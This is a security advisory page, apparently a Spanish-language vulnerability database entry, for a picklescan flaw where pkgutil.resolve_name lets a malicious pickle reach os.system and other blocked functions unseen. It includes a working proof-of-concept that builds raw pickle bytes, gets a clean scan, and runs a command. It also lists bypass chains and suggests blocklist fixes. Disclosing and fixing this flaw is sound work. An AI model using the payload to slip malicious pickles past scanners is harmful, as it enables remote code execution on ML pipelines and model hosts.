Crítica

PickleScan's pkgutil.resolve_name has a universal blocklist bypass

  • Publicada: 03.03.2026
  • Actualizado: 11.10.2026 12:20

Summary

pkgutil.resolve_name() is a Python stdlib function that resolves any "module:attribute" string to the corresponding Python object at runtime. By using pkgutil.resolve_name as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., os.system, builtins.exec, subprocess.call) without that function appearing in the pickle's opcodes. picklescan only sees pkgutil.resolve_name (which is not blocked) and misses the actual dangerous function entirely.

This defeats picklescan's entire blocklist concept — every single entry in _unsafe_globals can be bypassed.

Severity

Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.

Affected Versions

  • picklescan <= 1.0.3 (all versions including latest)

Details

How It Works

A pickle file uses two chained REDUCE calls:

1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE

picklescan's opcode scanner sees:

  • STACK_GLOBAL with module=pkgutil, name=resolve_name → NOT in blocklist → CLEAN
  • The second REDUCE operates on a stack value (the return of the first call), not on a global import → invisible to scanner

The string "os:system" is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.

Decompiled Pickle (what the data actually does)

python
from pkgutil import resolve_name
_var0 = resolve_name('os:system')          # Returns the actual os.system function
_var1 = _var0('malicious_command')          # Calls os.system('malicious_command')
result = _var1

Confirmed Bypass Targets

Every entry in picklescan's blocklist can be reached via resolve_name:

Chain Resolves To Confirmed RCE picklescan Result
resolve_name("os:system") os.system YES CLEAN
resolve_name("builtins:exec") builtins.exec YES CLEAN
resolve_name("builtins:eval") builtins.eval YES CLEAN
resolve_name("subprocess:getoutput") subprocess.getoutput YES CLEAN
resolve_name("subprocess:getstatusoutput") subprocess.getstatusoutput YES CLEAN
resolve_name("subprocess:call") subprocess.call YES (shell=True needed) CLEAN
resolve_name("subprocess:check_call") subprocess.check_call YES (shell=True needed) CLEAN
resolve_name("subprocess:check_output") subprocess.check_output YES (shell=True needed) CLEAN
resolve_name("posix:system") posix.system YES CLEAN
resolve_name("cProfile:run") cProfile.run YES CLEAN
resolve_name("profile:run") profile.run YES CLEAN
resolve_name("pty:spawn") pty.spawn YES CLEAN

Total: 11+ confirmed RCE chains, all reporting CLEAN.

Proof of Concept

python
import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# resolve_name("os:system")("id")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("pkgutil") + sbu("resolve_name") + b"\x93"  # STACK_GLOBAL
    + sbu("os:system") + b"\x85" + b"R"                # REDUCE: resolve_name("os:system")
    + sbu("id") + b"\x85" + b"R"                       # REDUCE: os.system("id")
    + b"."                                               # STOP
)

 # picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs os.system("id") → RCE
pickle.loads(payload)

Why pkgutil Is Not Blocked

picklescan's _unsafe_globals (v1.0.3) does not include pkgutil. The module is a standard import utility — its primary purpose is module/package resolution. However, resolve_name() can resolve ANY attribute from ANY module, making it a universal gadget.

Note: fickling DOES block pkgutil in its UNSAFE_IMPORTS list.

Impact

This is a complete bypass of picklescan's security model. The entire blocklist — every module and function entry in _unsafe_globals — is rendered ineffective. An attacker needs only use pkgutil.resolve_name as an indirection layer to call any Python function.

This affects:

  • HuggingFace Hub (uses picklescan)
  • Any ML pipeline using picklescan for safety validation
  • Any system relying on picklescan's blocklist to prevent malicious pickle execution

Suggested Fix

  1. Immediate: Add pkgutil to _unsafe_globals:

    python
    "pkgutil": {"resolve_name"},
  2. Also block similar resolution functions:

    python
    "importlib": "*",
    "importlib.util": "*",
  3. Architectural: The blocklist approach cannot defend against indirect resolution gadgets. Even blocking pkgutil, an attacker could find other stdlib functions that resolve module attributes. Consider:

    • Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching "module:function")
    • Treating unknown globals as dangerous by default
    • Switching to an allowlist model

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) picklescan < 1.0.4 1.0.4

Referencias

Puntuación CVSS 10/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Debilidad (CWE)
CWE-183, CWE-693
Plataforma
Python (PyPI)
Paquete
picklescan
Publicada
03.03.2026
Actualizado
11.10.2026 12:20

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-vvpj-8cmc-gx39 - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-456 - PyPA Advisory Database; CC BY 4.0

Historial de vulnerabilidades: picklescan

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (58) en el archivo
Entradas en total
58
Primera → última
02.2025 03.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 7
  • Alta 25
  • Media 26

Divulgaciones por año

  1. 2025: 51
  2. 2026: 7
Gravedad:
  1. PickleScan's pkgutil.resolve_name has a universal blocklist bypass esta entrada
    Crítica · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  2. Crítica · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  3. Alta · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  4. Alta · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  5. Alta ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  6. Alta CVE-2025-71320 < 0.0.33 0.0.33
  7. Alta · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  8. Alta CVE-2025-71321 < 0.0.33 0.0.33
  9. Crítica · 7.8 CVE-2025-10155 < 0.0.31 0.0.31

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.